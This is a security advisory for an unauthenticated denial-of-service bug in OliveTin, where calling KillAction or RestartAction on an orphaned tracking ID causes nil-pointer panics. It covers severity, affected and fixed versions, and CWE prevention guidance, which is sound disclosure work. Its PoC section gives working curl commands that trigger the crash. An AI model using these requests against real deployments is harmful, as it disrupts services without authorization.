GHSA-fwhj-785h-43hh GO-2026-4621
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
- Severity
- 5.3 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Fix
0.0.0-20260304225158-bb14c5da3e64- Upgrade github.com/OliveTin/OliveTin to this version or later
Description
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
-
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
-
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
-
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
-
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
-
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/OliveTin/OliveTin | < 0.0.0-20260304225158-bb14c5da3e64 |
0.0.0-20260304225158-bb14c5da3e64 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/OliveTin/OliveTin Go → 0.0.0-20260304225158-bb14c5da3e64
- go
go get github.com/OliveTin/OliveTin@v0.0.0-20260304225158-bb14c5da3e64 && go mod tidy
Severity breakdown
CVSS 3.1 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Weakness
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-476: NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.
How to prevent it
- Implementation: For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].
- Requirements: Select a programming language that is not susceptible to these issues.
- Implementation: Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
- Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
- Implementation: Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-jm28-2wcr-qf3h OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xc5w-4v5w-7x65 OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xpxj-f2fm-rqch OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-prj9-97mp-mwh2 OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-f637-w7p2-m7fx OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration | Low | Also affects github.com/OliveTin/OliveTin |
| GHSA-7fq5-7wr8-rjwj OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-xx6g-43w2-9g6g OliveTin's email argument makes compliance harder, enables log injection | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-228v-wc5r-j8m7 OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream | Medium | Also affects github.com/OliveTin/OliveTin |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor